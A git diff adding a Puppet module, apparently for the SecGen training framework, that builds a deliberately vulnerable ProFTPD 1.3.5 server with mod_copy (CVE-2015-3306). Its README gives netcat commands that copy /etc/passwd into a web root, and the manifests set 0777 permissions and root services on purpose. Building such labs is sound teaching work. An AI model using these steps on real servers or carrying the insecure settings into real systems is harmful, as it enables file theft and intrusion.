diff --git a/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/README.txt b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/README.txt new file mode 100644 index 000000000..e144419f9 --- /dev/null +++ b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/README.txt @@ -0,0 +1,43 @@ +Basic Requirements for the vulnerability to work: + - MOD_COPY is enabled. + - A web server is online and the FTP server user 'nobody' (or a local user specified in the config file but this would complicate things) + has access to the web server directory. + +Web Server: + - Busybox is used to create a quick website. + - The directory for the site is: + '/var/www/html/' + - Web server is started using the service 'website.service' which runs the script 'WebServer.sh', pretty awful names but it works. + + +Files: + - Proftpd Service File: + /etc/systemd/system/proftpd.service + + - BusyBox Script: + /usr/bin/WebServer.sh + + - BusyBox Service File + /etc/systemd/system/proftpd.service + + - Binary File: + /opt/proftpd-1.3.5/proftpd + + - Configuration File (Default config is used): + /usr/local/etc/proftpd.conf + + - Pid File: + /usr/local/var/proftpd.pid + + - Scoreboard File: + /usr/local/var/proftpd.scoreboard + + +Simple Exploitation (Using Netcat): +You can pretty much copy any file, '/etc/passwd' is used as an example. + Commands: + - nc 21 + - SITE CPFR /etc/passwd + - SITE CPTO /var/www/html/ (This is the directory of the website) + + diff --git a/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/files/WebServer.sh b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/files/WebServer.sh new file mode 100644 index 000000000..d849a22b2 --- /dev/null +++ b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/files/WebServer.sh @@ -0,0 +1,6 @@ +#!/bin/bash +while : + do + sudo busybox httpd -h /var/www/html/ + sleep 300000; +done \ No newline at end of file diff --git a/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/files/index.html b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/files/index.html new file mode 100644 index 000000000..a44d0a01c --- /dev/null +++ b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/files/index.html @@ -0,0 +1,9 @@ + + + +

Random Example Website

+ 
+            Website
+
+ + \ No newline at end of file diff --git a/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/files/proftpd.service b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/files/proftpd.service new file mode 100644 index 000000000..13edc56a3 --- /dev/null +++ b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/files/proftpd.service @@ -0,0 +1,14 @@ +[Unit] +Description=Proftpd 1.3.5 FTP Server +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=forking +User=root +WorkingDirectory=/opt/proftpd-1.3.5/ +ExecStart=/opt/proftpd-1.3.5/proftpd +ExecReload=/bin/kill -HUP $MAINPID + +[Install] +WantedBy=multi-user.target \ No newline at end of file diff --git a/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/files/proftpd_1_3_5.tar.gz b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/files/proftpd_1_3_5.tar.gz new file mode 100644 index 000000000..7cabf22cd Binary files /dev/null and b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/files/proftpd_1_3_5.tar.gz differ diff --git a/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/files/website.service b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/files/website.service new file mode 100644 index 000000000..627aeb9ad --- /dev/null +++ b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/files/website.service @@ -0,0 +1,15 @@ +[Unit] +Description=BusyBox httpd Server +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +Restart=always +RestartSec=1 +WorkingDirectory=/usr/bin/ +ExecStart=/usr/bin/WebServer.sh + +[Install] +WantedBy=multi-user.target \ No newline at end of file diff --git a/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/manifests/config.pp b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/manifests/config.pp new file mode 100644 index 000000000..0b35cb3a6 --- /dev/null +++ b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/manifests/config.pp @@ -0,0 +1,31 @@ +# +class proftpd_1_3_5_mod_copy_remote_command_execution::config { + require proftpd_1_3_5_mod_copy_remote_command_execution::install + Exec { path => [ '/bin/', '/sbin/' , '/usr/bin/', '/usr/sbin/' ] } + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) + $website_dir = '/var/www/html' # If changed, the WebServer.sh script must be changed. + + # Create /var/www/html/ + file { $website_dir: + ensure => 'directory', + mode => '0777', + require => File['make-install'], + notify => File["${website_dir}/index.html"], + } + + # Move index.html dummy website to /var/www/html/ + file { "${website_dir}/index.html": + source => 'puppet:///modules/proftpd_1_3_5_mod_copy_remote_command_execution/index.html', + mode => '0777', + require => File[$website_dir], + notify => Exec['set-perms'], + } + + # Set permissions for /var/www/html/ + exec { 'set-perms': + command => "sudo chmod 777 -R ${website_dir}", + require => File["${website_dir}/index.html"], + notify => File['/usr/bin/WebServer.sh'], + } + # Execution is now passed to the service.pp file. +} diff --git a/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/manifests/install.pp b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/manifests/install.pp new file mode 100644 index 000000000..e7e787027 --- /dev/null +++ b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/manifests/install.pp @@ -0,0 +1,75 @@ +# +class proftpd_1_3_5_mod_copy_remote_command_execution::install { + Exec { path => [ '/bin/', '/sbin/' , '/usr/bin/', '/usr/sbin/' ] } + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) + $user = 'proftpd' + $user_home = "/home/${user}" + $base_dir = '/opt' + $install_dir = "${base_dir}/proftpd-1.3.5" + $website_dir = '/var/www/html/' + + # Create user - User creation not really needed for this vulnerability. + user { $user: + ensure => present, + uid => '666', + gid => 'root',# + home => "${user_home}/", + managehome => true, + notify => Package['build-essential'], + } + + # Install dependancies. + package { 'build-essential': + ensure => installed, + require => User[$user], + notify => Package['gcc-multilib'], + } + package { 'gcc-multilib': + ensure => installed, + require => Package['build-essential'], + notify => File["${base_dir}/proftpd_1_3_5.tar.gz"], + } + + # Copy tar ball. + file { "${base_dir}/proftpd_1_3_5.tar.gz": + source => 'puppet:///modules/proftpd_1_3_5_mod_copy_remote_command_execution/proftpd_1_3_5.tar.gz', + owner => $user, + mode => '0777', + require => Package['gcc-multilib'], + notify => Exec['mellow-file'], + } + + # Extract. + exec { 'mellow-file': + cwd => $base_dir, + command => 'sudo tar -xzvf proftpd_1_3_5.tar.gz', + creates => "${base_dir}/proftpd-1.3.5/", + require => File["${base_dir}/proftpd_1_3_5.tar.gz"], + notify => Exec['configure'], + } + + # Configure. + exec { 'configure': + cwd => $install_dir, + command => 'sudo ./configure --with-modules=mod_copy', + require => Exec['mellow-file'], + notify => Exec['make'], + } + + # Compile binaries. + exec { 'make': + cwd => $install_dir, + command => 'sudo make', + require => Exec['configure'], + notify => Exec['make-install'], + } + + # Install binaries. + exec { 'make-install': + cwd => $install_dir, + command => 'sudo make install', + require => Exec['make'], + notify => File[$website_dir], + } + # Execution is now passed to the config.pp file. +} diff --git a/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/manifests/service.pp b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/manifests/service.pp new file mode 100644 index 000000000..04289ed14 --- /dev/null +++ b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/manifests/service.pp @@ -0,0 +1,50 @@ +# +class proftpd_1_3_5_mod_copy_remote_command_execution::service { + require proftpd_1_3_5_mod_copy_remote_command_execution::config + Exec { path => [ '/bin/', '/sbin/' , '/usr/bin/', '/usr/sbin/' ] } + $secgen_parameters = secgen_functions::get_parameters($::base64_inputs_file) + $script_dir = '/usr/bin' + $service_dir = '/etc/systemd/system' # If changed, proftpd.service & website.service files must be changed. + + # Copy BusyBox script to /usr/bin/ + file { "${script_dir}/WebServer.sh": + source => 'puppet:///modules/proftpd_1_3_5_mod_copy_remote_command_execution/WebServer.sh', + mode => '0777', + require => Exec['set-perms'], + notify => File["${service_dir}/website.service"], + } + + # Copy BusyBox service file to /etc/systemd/system/ + file { "${service_dir}/website.service": + source => 'puppet:///modules/proftpd_1_3_5_mod_copy_remote_command_execution/website.service', + mode => '0777', + require => File["${script_dir}/WebServer.sh"], + notify => File["${service_dir}/proftpd.service"], + } + + # Copy proftpd service file + file { "${service_dir}/proftpd.service": + source => 'puppet:///modules/proftpd_1_3_5_mod_copy_remote_command_execution/proftpd.service', + mode => '0777', + require => File["${service_dir}/website.service"], + notify => Service['website'], + } + + # Start services + + # Web Server + service { 'website': + ensure => running, + enable => true, + require => File["${service_dir}/proftpd.service"], + notify => Service['proftpd'], + } + + # Proftpd + service { 'proftpd': + ensure => running, + enable => true, + require => Service['website'], + } + # End of Module. +} diff --git a/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/proftpd_1_3_5_mod_copy_remote_command_execution.pp b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/proftpd_1_3_5_mod_copy_remote_command_execution.pp new file mode 100644 index 000000000..26d198830 --- /dev/null +++ b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/proftpd_1_3_5_mod_copy_remote_command_execution.pp @@ -0,0 +1,3 @@ +include proftpd_1_3_5_mod_copy_remote_command_execution::install +include proftpd_1_3_5_mod_copy_remote_command_execution::config +include proftpd_1_3_5_mod_copy_remote_command_execution::service diff --git a/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/secgen_metadata.xml b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/secgen_metadata.xml new file mode 100644 index 000000000..bcdab5ee6 --- /dev/null +++ b/modules/vulnerabilities/unix/ftp/proftpd_1_3_5_mod_copy_remote_command_execution/secgen_metadata.xml @@ -0,0 +1,94 @@ + + + + ProFTPD v1.3.5 Mod Copy Remote Command Execution + Anass Naveed + MIT + The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands. + + ftp + root_rwx + remote + linux + low + + server_name + strings_to_leak + leaked_filenames + welcome_msg + port + strings_to_pre_leak + pre_leaked_filenames + + + organisation + + + 21 + + + + + + + + + + + + + + + + + + + + + + + + note + + + + + CVE-2015-3306 + 10 + AV:N/AC:L/Au:N/C:C/I:C/A:C + https://www.rapid7.com/db/modules/exploit/unix/ftp/proftpd_modcopy_exec/ + proftpd + GPL + + + exploit/unix/ftp/proftpd_modcopy_exec + + + + proftpd + + + + ^ftp$ + + + + update + + + + EXPLOITATION + EXPLOITATION FRAMEWORKS + + + + PENETRATION TESTING - SOFTWARE TOOLS + PENETRATION TESTING - ACTIVE PENETRATION + + + FILE - TRANSFER PROTOCOL (FTP) + + + diff --git a/scenarios/examples/vulnerability_examples/proftpd_1_3_5_mod_copy_remote_command_execution.xml b/scenarios/examples/vulnerability_examples/proftpd_1_3_5_mod_copy_remote_command_execution.xml new file mode 100644 index 000000000..bf25f8aaa --- /dev/null +++ b/scenarios/examples/vulnerability_examples/proftpd_1_3_5_mod_copy_remote_command_execution.xml @@ -0,0 +1,16 @@ + + + + + + web_server + + + + + + + +